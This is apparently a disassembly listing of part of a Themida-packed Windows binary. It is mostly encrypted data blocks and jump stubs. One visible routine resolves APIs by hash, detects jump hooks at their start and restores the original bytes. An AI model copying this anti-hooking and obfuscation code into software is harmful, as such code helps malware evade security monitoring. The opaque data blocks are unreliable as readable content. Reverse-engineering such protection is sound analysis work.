		dd 0B7DEB96Fh, 47EB15DEh, 9DA5AA61h, 0C6EE4AE8h, 14EC8768h
		dd 0ED664432h, 0EBFF9363h, 6BAF91FBh, 359449B2h, 0FC061DF9h
		dd 15662222h, 5440C8Dh,	5DB8CCF8h, 7C6264Eh, 70E652E9h
		dd 156603DBh, 0E8304432h, 3C9AA058h, 1BE979ECh,	622F5A80h
		dd 744ABAC5h, 1A16BFB2h, 15620FB6h, 0FC5AED32h,	14A20C3Dh
		dd 75064432h, 9A69E8B8h, 15661132h, 15746153h, 11C94432h
		dd 8BE77838h, 82E794B6h, 0FF529C81h, 28082336h,	1A8D1E53h
		dd 156788B6h, 198FE832h, 0BE664432h, 600F5FB3h,	31031C0Ch
		dd 742ED8EDh, 0F7E72252h, 9400E721h, 74EC45F9h,	91694A0Eh
		dd 15664540h, 156629DBh, 55023132h, 1195085Ch, 3D9DCBBCh
		dd 9169E90Eh, 15661068h, 156686DBh, 841CCA32h, 905CB9C6h
		dd 8C46C095h, 75C8E35Fh, 156649DAh, 4D6FEF32h, 0D562CC15h
		dd 0F63903A2h, 0AD0008E1h, 743837D4h, 30992C54h, 14420C3Dh
		dd 9C694432h, 15662227h, 0FC077152h, 1566883Eh,	0D71C5DDBh
		dd 7728646Bh, 61BE96B8h, 1AACB453h, 156745B6h, 94004232h
		dd 748B08EAh, 91696B0Eh, 15664760h, 94007552h, 4E4DEDE4h
		dd 1560063Dh, 90694432h, 15662232h, 3B5B7753h, 68E387CDh
		dd 75664432h, 45B5A954h, 949F7069h, 15668CDEh, 3172CD32h
		dd 15662088h, 9F941032h, 0E906D230h, 749DF33Dh,	0E3F89161h
		dd 95ADEFE1h, 0FEE60AD9h, 0D1D614EEh, 8B4A7916h, 9752833Eh
		dd 0D6564A36h, 4EBE646Ah, 15E82D52h, 0FD661132h, 15668823h
		dd 5F251E0h, 0FBFE7B7Eh, 7D92A10Ch, 41BBBF9Ch, 0E5D14B93h
		dd 0B55A4368h, 150E953Dh, 75068832h, 19ECACB3h,	1A071546h
		dd 156613BBh, 74950232h, 0B578558Ah, 1B492F6Ah,	382627A5h
		dd 758CBD61h, 289CFD63h, 0CC911A64h, 5197D0B3h,	0E4E7ECD8h
		dd 730641D1h, 253FC3B3h, 0E4E76ABEh, 6E3CB9C6h,	0E23F8C13h
		dd 0CA7D0FE2h, 0A306FF01h, 6A609F4h, 740704F1h,	15667BDBh
		dd 0FC06ED32h, 15668837h, 5BF790F9h, 0A0EF4389h, 1376396Fh
		dd 0D8FB05CAh, 1A60529Ch, 15662FBEh, 156EF832h,	0DC88832h
		dd 2FA537C9h, 9969AD2Fh, 1566113Fh, 156680DBh, 2CDEEA32h
		dd 51776EDAh, 0E0B5EE2Dh, 1422E067h, 39ED1240h,	11A2A116h
		dd 1425FCB3h, 0FDEFDE40h, 0FCA5B86Fh, 1566223Fh, 9C69B2D0h
		dd 42835F76h, 0CE7FFCBCh, 0F0EF7743h, 1562D4B3h, 0F8E78832h
		dd 15664436h, 49420EB5h, 754215BBh, 0EA0750B8h,	11ED5444h
		dd 11A2A316h, 75661132h, 157560CEh, 0EF694432h,	5C2BE9E5h
		dd 40462C83h, 97116631h, 66F40FFFh, 5F84A3FAh, 4F07309Ah
		dd 0F8E30153h, 0FC605413h, 1566223Ch, 23E37235h, 0FA461FFAh
		dd 0C9F92B94h, 219978F4h, 0D1E74916h, 15668836h, 1568AD52h
		dd 6D0C2232h, 470417E8h, 0F28006CFh, 0F81D3C73h, 157EAC3Dh
		dd 68F1132h, 7D668832h,	57E7127Ah, 14101632h, 55BCAB62h
		dd 0A741476h, 4407883Ah, 4A529D65h, 0D2E736A8h,	0CD0328DAh
		dd 1439BDBBh, 1A9A7BFCh, 156601BCh, 156D6132h, 0CD1B4432h
		dd 0CBE0E2D8h, 3C3B84A8h, 60DB054Fh, 1A605436h,	156623B4h
		dd 0FCCBE432h, 1566883Dh, 0F022E3C0h, 4996C794h, 0B27790C5h
		dd 0FCD7B74Fh, 15664437h, 91A881A1h, 0FE21407h,	7F4B9A1Ch
		dd 160AEB3Eh, 10420676h, 79C91D58h, 3B7C0C1Fh, 14E54B20h
		dd 0ED662232h, 1BEC1E99h, 75668832h, 1566C53Dh,	96692232h
		dd 15661132h, 24DB0553h, 1A60543Bh, 156623B8h, 0FCCBED32h
		dd 1566883Fh, 0D227F8E7h, 15814D0Ch, 6DDE2611h,	68318D0Ah
		dd 304B0DCCh, 16580372h, 10423576h, 2B47C817h, 0EB1B131Fh
		dd 0C6E7427Bh, 3355C974h, 74B00354h, 154EFF5Ah,	3162AB32h
		dd 156A973Dh, 98698832h, 15664434h, 1566AF3Dh, 0FCCD1132h
		dd 15668821h, 0DDE93D3h, 0A81F5EE7h, 897ADEF8h,	37DE39B8h
		dd 9873D5EFh, 54C578Fh,	156EF834h, 81908832h, 521BFBC9h
		dd 0FCCB798Eh, 1566113Bh, 0A21DA2A9h, 0ADBFBE43h, 21F60F88h
		dd 516563C1h, 0A833A016h, 679570A2h, 0FC3BCA33h, 1566113Ah
		dd 83C4029Dh, 4BACC650h, 14EA2D99h, 0ED661132h,	4B42BCCDh
		dd 156280B3h, 44062232h, 0CDB1C58Bh, 0FFD8D014h, 741C3EF3h
		dd 9C31DBF1h, 11A190D5h, 96668832h, 29E140DDh, 21EF7E16h
		dd 1563F816h, 0DB08832h, 754917E1h, 73AEA954h, 74CB818Bh
		dd 0B89215BFh, 0EA9A4224h, 8FD7E1h, 0F9FFFFCFh,	0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A452F2h,	152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 665ACE25h, 0DCF1439Dh,	25E1332h
		dd 0D871BA8Ch, 42C3A8EDh
		dd 0AEA2458Ah, 60D558DDh, 0D138C882h, 462C43DBh, 25E5DF07h
		dd 0C6D552BFh, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
		dd 57B53606h, 52B0D9FBh, 0AEA452FEh, 0E96FDD7Bh, 51A25863h
		dd 195FABA8h, 0DCAA3075h, 259CC32h, 0CB2F168Ch,	133D20EFh
		dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
		dd 0EB000030h, 0F392C00Ch, 6572F355h, 0D690955Eh, 662E992h
		dd 56E90000h, 14000006h, 0FC7B2F72h, 0CA510D44h, 0E76EEA23h
		dd 0C4530744h, 7F6DE120h, 0E01FD103h, 0FB3CED6Ch, 0D712B83Fh
		dd 0F62BD463h, 0B6754742h, 6BDB050Ch, 32410BE8h, 0DE504479h
		dd 7CB90900h, 15D6DCCh,	0E5BB6FECh, 38EC083Fh, 0C3AFF0A1h
		dd 9D4620C4h, 0EA77755Fh, 0EB070E5Dh, 6B173B37h, 8D79B86Ch
		dd 421C590Eh, 4CD56D1Ch, 1C0F6DCCh, 6DCC4CA6h, 382AE23Eh
		dd 0CC4CF151h, 3D19156Dh, 0E9835E20h, 8BA4F305h, 323D03CBh
		dd 0B13256B4h, 0B126D558h, 0BEDB56ABh, 0F03256D5h, 9F0AD95Fh
		dd 1963B725h, 7F77FC06h, 5DB9464Bh, 0B1325C47h,	0CF66E257h
		dd 0C83A541Dh, 59CA9B64h, 5E983EAh, 0F1B0A4F3h,	7AF29D11h
		dd 0FB2375FDh, 6D348C17h, 3FD525FBh, 9EADFDF5h,	2291627Ah
		dd 7ACFB734h, 29B723ACh, 7A1A20ADh, 277975FDh, 0F3A6987Ch
		dd 0FFA073EAh, 0E983F296h, 8BA4F305h, 26BD8DDBh, 8D0617A6h
		dd 182DB18Dh, 6644B806h, 0CF2B3215h, 3102E9C1h,	83C8D007h
		dd 754904C7h, 0EE9F6h, 95A70000h, 0CD5292D8h, 96123D9Bh
		dd 304D9092h, 48150F8h,	5F606824h, 0BE565826h, 265F6068h
		dd 605EF029h, 0F961C78Bh, 158DBD83h, 75000610h,	95BD8309h
		dd 61000h, 53501974h, 11B8C08Bh, 89000004h, 10132D85h
		dd 7C9D8D06h, 0FF0612B8h, 83585BD3h, 100095BDh,	17740006h
		dd 11B85350h, 89000004h, 10132D85h, 1D9D8D06h, 0FF0612B5h
		dd 60585BD3h, 42B7C3BFh, 0F2BF0F46h, 5E961h, 0BA530000h
		dd 682C55FBh, 1C44h, 58240489h,	18F0Fh,	60FC0000h, 81CA8B66h
		dd 9E937EEh, 0E8F86118h, 6, 0DF62F50Ah,	8B6688CEh, 0C3815BF0h
		dd 72CCh, 1C8968FCh, 0F5A0000h,	683h, 0E1E68100h, 8B1FEF3Fh
		dd 0AE83Bh, 0E1E30000h,	53BEA2E2h, 2A180768h, 8159C78Bh
		dd 410951EFh, 0CB8B665Bh, 78F4C781h, 13E860A3h,	0F3000000h
		dd 0E344A5CAh, 0F6A95526h, 7059532h, 0ABF2366Fh, 0EE8AC562h
		dd 0DBC7815Eh, 812ECA4Eh, 8F54B3E6h, 0DD805769h, 83038FC9h
		dd 0C78B04EBh, 1EA81h, 850F0000h, 17h, 0E9C38B66h, 20h
		dd 9E9E3B5Bh, 13D4BD8Bh, 3DEA7F21h, 80E8ECEBh, 80E994E1h
		dd 1CFFFFFFh, 665177D3h, 126C3F42h, 0EDE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_5CE57D	proc near		; DATA XREF: Themida_:0054E4A4o
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_5CE668
		mov	esi, [ebp+6101441h]
		cmp	esi, 0
		jnz	loc_5CE5BA
		mov	byte ptr [ebp+61023E5h], 45h
		push	8E726969h
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+613858Ah]
		call	eax
		mov	[ebp+61009ADh],	eax
		mov	esi, eax


loc_5CE5BA:				; CODE XREF: sub_5CE57D+15j
		cmp	byte ptr [esi],	0E9h
		jnz	loc_5CE5F4
		lea	eax, [ebp+6159D95h]
		call	eax
		mov	edi, [ebp+6102955h]
		add	edi, 1184h
		mov	esi, [ebp+6101441h]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+6101441h]
		lea	eax, [ebp+613C1E7h]
		call	eax


loc_5CE5F4:				; CODE XREF: sub_5CE57D+40j
		mov	esi, [ebp+6100875h]
		cmp	esi, 0
		jnz	loc_5CE625
		mov	byte ptr [ebp+61023E5h], 54h
		push	0FF4EBEF4h
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+613858Ah]
		call	eax
		mov	[ebp+6100875h],	eax
		mov	esi, eax


loc_5CE625:				; CODE XREF: sub_5CE57D+80j
		cmp	byte ptr [esi],	0E9h
		jnz	loc_5CE668
		mov	esi, [ebp+6100875h]
		lea	eax, [ebp+6159D95h]
		call	eax
		mov	edi, [ebp+6102955h]
		add	edi, 1184h
		add	edi, 8
		mov	esi, [ebp+6100875h]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+6100875h]
		lea	eax, [ebp+613C1E7h]
		call	eax


loc_5CE668:				; CODE XREF: sub_5CE57D+6j
					; sub_5CE57D+ABj
		popa
		retn
sub_5CE57D	endp

; ---------------------------------------------------------------------------
		lea	eax, [ebp+6183112h]
		mov	[ebp+6103039h],	eax
		jmp	loc_5CE6B4
; ---------------------------------------------------------------------------
		db 62h
		dd 145447h, 0Dh	dup(0)
; ---------------------------------------------------------------------------


loc_5CE6B4:				; CODE XREF: Themida_:005CE676j
		jmp	loc_5CEB55
; ---------------------------------------------------------------------------
		push	6183377h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61833E3h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6183521h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 0C6h
		dd 0EE6DE124h, 0CC4BFF36h, 0D960DC15h, 0B645F936h, 7157D312h
		dd 645E715h, 0E122C352h, 0FD38EE6Dh, 0DC11BA41h, 98936D60h
		dd 6BD44E2Ah, 0D747CDCAh, 7C4002A9h, 2ADD6DCCh,	453D39EDh
		dd 80BD72E9h, 0FD3CF06Bh, 0A4D99209h, 1BFA1CAh,	9255BA0h
		dd 0FE156AF4h, 6E528B42h, 6134AD5Ch, 29B067FCh,	6A304D82h
		dd 0EB5302EEh, 0A943C27h, 0CE1FDA79h, 0AE397ADAh, 2D6h
		dd 37BA151Ch, 6A213BA0h, 67FC20F9h, 0D586411Dh,	91463EE0h
		dd 98935261h, 9146092Ah, 71216203h, 0E1FFD1F5h,	4609982Ah
		dd 0CBA07C91h, 5D10CBB5h, 0D7622F1Ch, 8100E7F9h, 5AEEBF6Ch
		dd 61789B76h, 0A24E72ADh, 225D11C8h, 88D5F26Eh,	6E906A71h
		dd 37D31C7Dh, 0C16871F8h, 9BB69901h, 8C7489E5h,	86D3579Dh
		dd 5973EF91h, 4F02DE2h,	4B354B20h, 78DEE722h, 658281E6h
		dd 5EF735EEh, 6A1DF5F3h, 30A7233Fh, 2B954277h, 0E5438014h
		dd 2E9A831h, 0BBB0000h,	0DF8514C8h, 0A534A8h, 0DF8413C7h
		dd 0FDAF26A2h, 0E01C0ABEh, 0CB7FBE72h, 0E458994Ch, 0C276B155h
		dd 0E3578C33h, 0AD1514E8h, 496BD44Fh, 96D7E06Ch, 0B9EDEC66h
		dd 2FCEAB7Ch, 721933A8h, 67F4E1C0h, 5E994D44h, 3FF16882h
		dd 9D89BE65h, 7A01BD99h, 0B46FCD6h, 0D16C3BE7h,	629424E1h
		dd 0CFC774A9h, 0A14A0234h, 27DE4F5h, 9F4F0000h,	0B359E05Ch
		dd 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h,	0C783C266h
		dd 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh, 4D6BD44Fh
		dd 0BD5CC450h, 39324C1Eh, 31EF126Ch, 0D5782F79h, 66CCB794h
		dd 7C67F4A2h, 0D9CD0ABDh, 9E7A805Dh, 4BF7B2CCh,	0AB942426h
		dd 10346D14h, 26F74B3Eh, 130F9424h, 0A5214836h,	48942426h
		dd 80BF71E8h, 0BC39D86Bh, 3982CFF1h, 15DD1h, 79323B00h
		dd 92395044h, 7584E15Dh, 0EF6A9466h, 130F0338h,	116C4D36h
		dd 0BE9A67FCh, 973B83D2h, 0A9DA9423h, 3F1EEF0Ah, 31FE397Bh
		dd 4C000000h, 4C1EBD5Ch, 0C704A732h, 7CD8F9B2h,	0E23E67FCh
		dd 83DF672Eh, 853E9423h, 36C20BEEh, 3932397Bh, 0E8F0366Fh
		dd 0FA35D940h, 0B54F01D6h, 0BD000000h, 50447932h, 6AA95BDEh
		dd 169DBAB6h, 483F3372h, 0C9906A9Fh, 110DEA25h,	209CD17Ah
		dd 0CC01FF69h, 6297506Dh, 587A99E6h, 173A7E0h, 718B67A9h
		dd 65269C8Fh, 62BE9233h, 88B87385h, 689805A8h, 0C567F20Ch
		dd 16E8D286h, 201FAF13h, 6CEB4794h, 0AD897DB4h,	226103D0h
		dd 6CA27B5h, 0AC3DE94Ah, 13Fh, 0AA1E6111h, 8A3E752Bh, 0A11D560Bh
		dd 8438751Ah, 981453F5h, 802456B2h, 5B0E8D41h, 73179E1Ah
		dd 4EF58438h, 0D6AAA519h, 0D4496FD3h, 0A22A876Bh, 245D04D7h
		dd 9035F470h, 17B98257h, 0CBE094CFh, 3AED8CE0h,	41FDD9FDh
		dd 8D4111BAh, 2CBA6E52h, 235E04D7h, 6D68D46h, 0F5712560h
		dd 0AFCEFFD1h, 987DA82Ch, 79100EEBh, 0C4219DD2h, 0D5D4A635h
		dd 67FC0BECh, 7D3C0E0Ah, 0EED08CCBh, 877BB86Bh,	69D5CEABh
		dd 0BE943C0Eh, 53943505h, 2B9FC39Fh, 0CDB9F8ACh, 0A6DCh
		dd 0A9D73000h, 0CC7C4002h, 8C3C6F6Dh, 0DFB48923h, 0C716332Fh
		dd 0DAD1AB30h, 67F4CA7Ch, 0D1B8A698h, 9424CE71h, 50F29995h
		dd 7F9424CEh, 0DC10BB4Bh, 9C9888F0h, 16CDCCB8h,	35EE6DE1h
		dd 8C451400h, 67EA68E6h, 63A24615h, 596B3AFh, 0EB20C76Eh
		dd 0CEA44A11h, 0CF8DC19h, 0C8B5328h, 53721E53h,	27556AB0h
		dd 0CA2E0306h, 4B0AE627h, 0AFB35F94h, 43E8DF93h, 0C77B1A06h
		dd 0F291988Ch, 48FB6D53h, 0AADF88A9h, 0D88D4C2Eh, 31D4F39Fh
		dd 3CF7D4F0h, 0BD7C4E83h, 319FCC0Bh, 0E5CE266Ah, 0DCCDB98Eh
		dd 3, 326D5F30h, 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh
		dd 34533F7Eh, 26A55190h, 39504481h, 30A75B94h, 0CF554178h
		dd 815E5456h, 4C6h, 4EE8300h, 5C243487h, 1CE768h, 241C8900h
		dd 491C68h, 243C8900h, 18326C68h, 241C8B06h, 4C481h, 8B540000h
		dd 0C483243Ch, 4EC8304h, 8F241C89h, 3C8B0847h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 3
		db 25h
; ---------------------------------------------------------------------------


loc_5CEB55:				; CODE XREF: Themida_:loc_5CE6B4j
		mov	eax, 6183685h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 7B50h
		dd 4069636Fh, 16C21B8Fh, 1926483Ch, 7D961A38h, 754E54BFh
		dd 51325655h, 0D25D751Eh, 0E0D00622h, 80294C7Dh, 3E2A200Dh
		dd 6710AFBh, 1BF70A96h,	42FC7A61h, 0DF72421Dh, 551A46A1h
		dd 54266DAh, 54EB3879h,	0A1BB0973h, 0B53F243Bh,	79EF3FF8h
		dd 298F3221h, 0D45213F3h, 47A8414Ch, 162732D3h,	8D8D1B7Ah
		dd 61837ECh, 9A99D8Bh, 0B70F0610h, 0F58D89F3h, 0E9061009h
		dd 13h,	0C7707840h, 0C680FB67h,	0E4009226h, 6B0A9712h
		dd 0C7E45B7Dh, 10231985h, 618406h, 0D0816600h, 85C758D7h
		dd 61022C1h, 0
; ---------------------------------------------------------------------------
		xor	[ebp+6100F91h],	ebx
		push	dword ptr [ebp+61000CDh]
		jmp	loc_5CEC22
; ---------------------------------------------------------------------------
		db 7Fh,	0F7h, 0AAh
		dd 7788670Eh
		db 0ECh, 0D4h
; ---------------------------------------------------------------------------


loc_5CEC22:				; CODE XREF: Themida_:005CEC14j
		sub	[ebp+6101275h],	edx
		call	dword ptr [ebp+6102DB9h]
		push	0
		push	edi
		call	sub_5CEC39
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEC39	proc near		; CODE XREF: Themida_:005CEC31p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CEC39	endp

; ---------------------------------------------------------------------------
		db 3Ah,	0Fh, 8Fh
		align 10h
		push	0
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5CEC9A
; ---------------------------------------------------------------------------
		dd 0B129F951h, 6D69C59Dh, 7746807Bh, 271B65EAh,	124FBEE6h
		dd 0CC5CB780h, 0CD110717h, 3E4F9AD8h, 24B89327h, 8A1F0C0h
		dd 0E87602Eh, 747CBA3Ah, 1B797235h, 800D1BDBh, 0A8A84D18h
; ---------------------------------------------------------------------------
		std
		pushf


loc_5CEC9A:				; CODE XREF: Themida_:005CEC5Aj
		jmp	loc_5CECB9
; ---------------------------------------------------------------------------
		db 9Eh
		dd 524B1551h, 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h
		db 0
; ---------------------------------------------------------------------------


loc_5CECB9:				; CODE XREF: Themida_:loc_5CEC9Aj
		jmp	loc_5CFD35
; ---------------------------------------------------------------------------
		push	6183A49h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6183B58h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6183DC6h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6183EECh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	618421Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61842B7h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61842F6h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61843CEh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	618444Bh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61844BBh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	618465Ah
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	618476Dh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dw 0C767h
		dd 9B51C884h, 0BC71E864h, 9B50C783h, 0B96BEA5Eh, 0BCC8BE7Ah
		dd 0DF5B9A4Eh, 0B874B558h, 0D6528D41h, 0B773A85Fh, 8141E8D4h
		dd 656BD444h, 4D7BC88h,	0F36F235Eh, 71A65DD6h, 285D0685h
		dd 6EA95D7Ch, 401E1082h, 0CC7CF949h, 2C411D6Dh,	9239F897h
		dd 3CFFE15Dh, 0D95D4988h, 5B70AD62h, 71ED2CE0h,	180C41EAh
		dd 1995CA81h, 9CAE2DCCh, 2352F7C2h, 0CC7CDA68h,	2DE3A6Dh
		dd 7C8141E8h, 9656DCCh,	111237F4h, 78F467FCh, 8027B28Ch
		dd 0C9752E4Bh, 2C942397h, 0A9DE8554h, 7650EFD4h, 150142E3h
		dd 6A433C11h, 4A397B3Eh, 36h, 1EBD5CC0h, 7C745D4Ch, 969267FCh
		dd 194EF5C4h, 32F4096Dh, 3C7CDB63h, 0E2B46C94h,	21D5F12Ch
		dd 0D8CC01AAh, 309C33CEh, 50952C47h, 397B357Dh,	0E35Dh
		dd 4D7AF00h, 8C47245Dh,	78F29ED3h, 0B0CA0CC1h, 9FB6AFEFh
		dd 5AD6CAA6h, 0D312B67Dh, 0CAFFA81Fh, 0D308BFD6h, 0B135B057h
		dd 5D066DCCh, 7E25B428h, 0FEA43749h, 0BF8A6C3h,	73AE54ECh
		dd 0ADBFA37Fh, 44FEADD3h, 0A06DCCD7h, 43FFAAC4h, 0A36DCCD7h
		dd 0E8F9B2C7h, 0E67FCA1h, 0E0D56D1Ch, 3531943Ch, 0B1489D11h
		dd 301B502Ah, 0FB4742B0h, 1B943C65h, 21241A3Fh,	27391F3Ch
		dd 0DEF05239h, 1814943Ch, 16EB4843h, 2F2B9E0Ah,	0ABEA9E1Dh
		dd 0C504A82Fh, 37459318h, 3AAB7B40h, 0DE0h, 520649E9h
		dd 72E61DC3h, 49053EE3h, 6CE01DD2h, 40FC3BEDh, 18CC3E4Ah
		dd 33D665D9h, 0BBF36F2h, 26DD5CD0h, 6E523DF1h, 0D44607BBh
		dd 3A02DF6Bh, 62497E32h, 6DCC7CE0h, 324C2804h, 0DBC704A7h
		dd 3DBC8257h, 4FDD5186h, 4C1EBD5Ch, 0C803A732h,	7CDBF8B3h
		dd 0D63B67FCh, 0CC9910C2h, 0A2BC98ECh, 41357617h, 241608E5h
		dd 98B5F295h, 236953EBh, 0A0BEB294h, 236959E9h,	8A58BD94h
		dd 0EA3FCDB3h, 93284521h, 2B8F9FCh, 0C898397Ch,	0F2000000h
		dd 2A447932h, 0A5C2F9AFh, 0EF2EE2F9h, 6CA95EDDh, 0DF9FBCB8h
		dd 0CC012DB8h, 1045FE6Dh, 96661D9Ch, 7BC7C2EDh,	9B923387h
		dd 73EFA3BFh, 0C74EA34Fh, 524F3A14h, 749803F1h,	0D8DF44F8h
		dd 6489C068h, 0C908334Bh, 0A1BB9725h, 15E058EAh, 8E60BC9Eh
		dd 0DA19CBh, 805D9239h,	0A4E7E4B6h, 235DBB00h, 0CC8DD603h
		dd 0BA46AAC6h, 2A72169Dh, 0B276C4E5h, 298EB2E0h, 403693AEh
		dd 0D1019282h, 0DA00000Ch, 0C239F538h, 0E057D30Ah, 0BD3CF029h
		dd 8A11CD0Ah, 3533A7E6h, 0AAE99BC9h, 0C506A72Eh, 0A1DC9209h
		dd 0C0F5AE2Dh, 6C1F210Ch, 6BD447D6h, 32EBB12Eh,	532D3F7Eh
		dd 0CC7CEA58h, 970E0A6Dh, 66CAB6F5h, 954ECD91h,	0D75EEC60h
		dd 7C4002A9h, 29DD6DCCh, 6E1E02EEh, 0A55ED5F2h,	0A66D5E70h
		dd 2F6C1F83h, 0DD98830Ah, 0E087FE00h, 0CE782FABh, 5F6DCC6Eh
		dd 47416AA8h, 814DD212h, 65A6CBB5h, 0F7DBF70Ah,	73B256E5h
		dd 44FEAD7Fh, 0A06DCC3Fh, 13CBA0C4h, 0FAA6DB84h, 0DC13B980h
		dd 0C1FEB128h, 587551D5h, 37E624DBh, 16D320FBh,	8CC1B591h
		dd 4D7E58F7h, 0EF7BBBE0h, 0DB587593h, 803BEF24h, 336A502Dh
		dd 0AE0Dh, 5E4D3300h, 6DCCA6E4h, 0CA358DCBh, 0EAA256BAh
		dd 5CD3596Eh, 5D4C1EBDh, 67FC0264h, 0ABFAA682h,	94238613h
		dd 0A822C1F2h, 4E427D31h, 0AF02F5D2h, 8F397B2Fh, 77h, 2A9D7FDh
		dd 6DCC7C40h, 0F8B3C8A4h, 6DCC7C4Fh, 0DEF0EB0Ah, 7CB90900h
		dd 0F85D6DCCh, 0C9C2D49Dh, 9AAF932Dh, 4202C3C6h, 60BC67FCh
		dd 1FD912ECh, 2806405Dh, 3AE625C7h, 763D1A36h, 12DF93D2h
		dd 306D803h, 9E0C3E16h,	0DD16CB8Eh, 0AA1EFA00h,	4346772Bh
		dd 9E2C52FFh, 4B371B17h, 627C5F76h, 48B14F7Ch, 217B3FA6h
		dd 0F0BA5F4Ch, 0D04C941Ch, 89FEB5Ch, 5C610000h,	324C1EBDh
		dd 32452139h, 1E3B3521h, 0FC438465h, 0FAA68267h, 3C4713ABh
		dd 22C1F294h, 3F8031A8h, 0EE9C752Ah, 0DF0C397Ah, 0A1D60581h
		dd 0E1D1BA2Bh, 44475E8Bh, 148C4419h, 0B2000000h, 5D498227h
		dd 22804D9h, 6DCC7C44h,	0FBE0C374h, 5C39FFFFh, 69F415BDh
		dd 0A0892D5Fh, 0ACC8ACEDh, 0C4D2D7D2h, 78F467FCh, 31917866h
		dd 0D5943CC4h, 0D3828459h, 943CC46Bh, 9F5AF98Ah, 397A724Eh
		dd 5002Eh, 0C7159C00h, 36489322h, 0FC20EE73h, 0AE53E667h
		dd 0CBA58175h, 23A062E0h, 0D1A68294h, 29D255D1h, 42E6F1BEh
		dd 0ADBF1CBBh, 0D6B205FEh, 6B85E137h, 2B292C82h, 0D8F5406Fh
		dd 0A13AD926h, 0DCCFB1CFh, 27D62E66h, 4FF3A27Eh, 0E027D62Eh
		dd 1E02EE2Bh, 3D5F26Eh,	0E1D32008h, 6A84E02Dh, 3BF6A94h
		dd 0E329CAB1h, 42E97287h, 21CA510Dh, 62667FECh,	6E26F7ECh
		dd 0A6365h, 77BA6C00h, 558C34C3h, 72AB62D9h, 4F8C3FB6h
		dd 69A85CDBh, 598BF7F5h, 35C478B7h, 60D75394h, 3CBB6FAAh
		dd 0EFDA4E83h, 41A41E0Dh, 63406BD4h, 447932D9h,	87546350h
		dd 17D08B75h, 15322EE2h, 0FC11356Eh, 7B55D167h,	5BCF0AC0h
		dd 11EB26DCh, 7AB7DDDCh, 502DD733h, 65BB074Eh, 0DA649423h
		dd 95942315h, 5D835D7Eh, 237514AEh, 5774F094h, 28DC5F81h
		dd 24393DE9h, 1324DA67h, 0EA9F1A9Eh, 0A472D0BBh, 96929E12h
		dd 81DD9DBAh, 0A478C695h, 16CD9E12h, 0F29635E1h, 0A758BFB3h
		dd 0A0D3C408h, 0F09BC501h, 9E12A452h, 0FFF34EBh, 1266410Ah
		dd 431F6245h, 5BA07126h, 2C803F8Ch, 0CA000000h,	4C1EBD5Ch
		dd 48FA1E1Fh, 0CC6FE161h, 4429056Dh, 0B794B3D0h, 46FCBFA1h
		dd 5B964C0Bh, 0F764857Eh, 462267FCh, 2E495Ah, 5CC30000h
		dd 5D4C1EBDh, 67FC1B34h, 498629B0h, 0FE04D95Dh,	35364822h
		dd 8F79B8DEh, 9032D956h, 0AD942315h, 6CC8BCFBh,	2E691DB4h
		dd 43493512h, 97447932h, 0B3EAAF74h, 3D9B0C18h,	46000009h
		dd 6EED61A4h, 4CCB7FB6h, 59E05C95h, 36C579B6h, 0F1D75392h
		dd 86C56795h, 61A243D2h, 7DB86EEDh, 5C913AC1h, 1813EDE0h
		dd 6BD442AAh, 5CC74D4Ah, 5D4C1EBDh, 67FC2BE0h, 2A3419FEh
		dd 0E8C87327h, 3F76E7E1h, 864521DBh, 74F0A4E1h,	7E25A450h
		dd 675FF440h, 0A9CDE98Fh, 0D9904B35h, 0E7E0CBA0h, 0DDFF6C3Bh
		dd 5A1605F0h, 0E3F8E870h, 0E8647782h, 8D5F7C9Bh, 0CC938760h
		dd 1DD20AF7h, 4AD704E0h, 0B03911E0h, 77324623h,	0B55F291Ah
		dd 6DAE5FDAh, 0E28E8A90h, 0F4063DE3h, 63984F0Ah, 5F6E0EB4h
		dd 0CB8AE6A1h, 492DD91Ah, 0BE55AA34h, 503C0314h, 99BD839Fh
